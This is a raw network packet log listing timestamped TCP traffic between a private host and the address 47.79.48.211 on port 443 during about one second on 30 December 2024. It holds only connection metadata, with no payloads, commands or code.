Dec 30, 2024 04:59:05.474111080 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.474116087 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.474221945 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.475533962 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.475565910 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.475591898 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.475598097 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.475616932 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.475634098 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.480627060 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.480647087 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.480678082 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.480685949 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.480709076 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.480758905 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.487451077 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.487474918 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.487508059 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.487514973 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.487536907 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.487560987 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.487778902 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.487799883 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.487831116 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.487838030 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.487859964 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.487879038 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.491456985 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.491475105 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.491540909 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.491549969 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.491585970 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.556543112 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.556560993 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.556610107 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.556618929 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.556664944 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.556948900 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.556962967 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.557025909 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.557034016 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.557061911 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.557070971 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.557496071 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.557512045 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.557547092 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.557553053 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.557574034 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.557590961 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.559041023 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.559058905 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.559102058 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.559108973 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.559139013 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.559161901 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.564238071 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.564254999 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.564292908 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.564300060 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.564315081 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.564332962 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.570935011 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.570950985 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.571010113 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.571018934 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.571381092 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.571402073 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.571433067 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.571441889 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.571451902 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.571480036 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.575072050 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.575088978 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.575148106 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.575155020 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.576761961 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.640211105 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.640227079 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.640269995 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.640283108 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.640310049 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.640331984 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.640535116 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.640549898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.640594959 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.640600920 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.640625954 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.640640974 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.641153097 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.641170025 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.641196966 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.641204119 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.641222000 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.641237020 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.642610073 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.642627001 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.642685890 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.642693996 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.642741919 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.647643089 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.647659063 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.647732019 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.647741079 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.647831917 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.654437065 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.654453993 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.654493093 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.654501915 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.654526949 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.654618025 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.655009031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.655023098 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.655062914 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.655070066 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.655277967 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.658602953 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.658617973 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.658688068 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.658696890 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.658791065 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.723829031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.723853111 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.723895073 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.723907948 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.723925114 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.723942995 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.724124908 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.724140882 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.724173069 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.724179983 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.724200964 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.724215984 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.724699974 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.724715948 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.724766970 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.724775076 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.724936008 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.726190090 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.726207018 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.726258039 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.726265907 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.726808071 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.731270075 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.731286049 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.731343985 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.731354952 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.731390953 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.738014936 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.738030910 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.738107920 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.738117933 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.738584042 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.738603115 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.738631964 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.738640070 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.738662004 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.738684893 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.742161036 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.742176056 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.742254972 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.742269039 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.744771004 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.807375908 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.807390928 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.807436943 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.807450056 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.807472944 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.807490110 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.807759047 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.807777882 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.807811022 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.807817936 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.807832956 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.807851076 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.808239937 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.808255911 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.808362007 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.808370113 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.808423042 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.809729099 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.809745073 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.809789896 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.809799910 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.809832096 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.814781904 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.814795971 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.814856052 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.814863920 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.814894915 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.814904928 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.821646929 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.821661949 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.821696043 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.821702957 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.821741104 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.822259903 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.822274923 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.822310925 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.822319031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.822364092 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.825886965 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.825903893 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.825957060 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.825963974 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.826000929 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.890851021 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.890863895 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.890929937 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.890944958 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.891009092 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.891239882 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.891252995 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.891288996 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.891298056 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.891321898 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.891336918 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.891709089 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.891722918 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.891766071 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.891773939 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.891812086 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.893265963 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.893280983 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.893348932 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.893356085 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.893455982 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.898433924 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.898448944 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.898513079 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.898525000 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.898768902 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.905128002 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.905143023 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.905208111 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.905216932 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.905251980 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.905831099 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.905844927 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.905891895 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.905901909 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.905931950 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.905946016 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.909375906 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.909389973 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.909463882 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.909473896 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.912769079 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.974479914 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.974500895 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.974596024 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.974610090 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.974643946 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.974654913 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.975115061 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.975130081 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.975179911 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.975191116 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.975280046 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.975297928 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.975338936 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.975347042 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.975359917 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.975387096 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.976867914 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.976886034 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.976929903 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.976936102 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.976963043 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.976974010 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.981888056 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.981903076 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.981985092 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.981993914 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.982419968 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.988677025 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.988693953 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.988785982 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.988795042 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.989398003 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.989414930 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.989464045 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.989470959 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:05.989491940 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:05.989522934 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.083000898 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.083014965 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.083106995 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.083117008 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.083780050 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.084404945 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.084419966 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.084484100 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.084491968 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.084909916 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.084927082 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.084963083 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.084969044 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.084985018 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.085010052 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.085764885 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.085777998 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.085818052 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.085825920 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.085834980 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.085853100 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.089885950 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.089900970 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.089962006 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.089971066 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.092777014 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.096900940 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.096918106 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.096987009 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.096993923 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.098789930 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.103782892 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.103796959 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.103863955 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.103871107 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.104624987 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.104645014 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.104677916 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.104686022 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.104703903 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.104733944 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.105662107 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.174391031 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.174417019 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.174472094 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.174483061 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.174508095 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.174515963 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.174568892 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.174591064 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.174624920 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.174631119 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.174650908 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.174664021 CET	49732	443	192.168.2.4	47.79.48.211
Dec 30, 2024 04:59:06.175247908 CET	443	49732	47.79.48.211	192.168.2.4
Dec 30, 2024 04:59:06.175270081 CET	443	49732	47.79.48.211	192.168.2.4
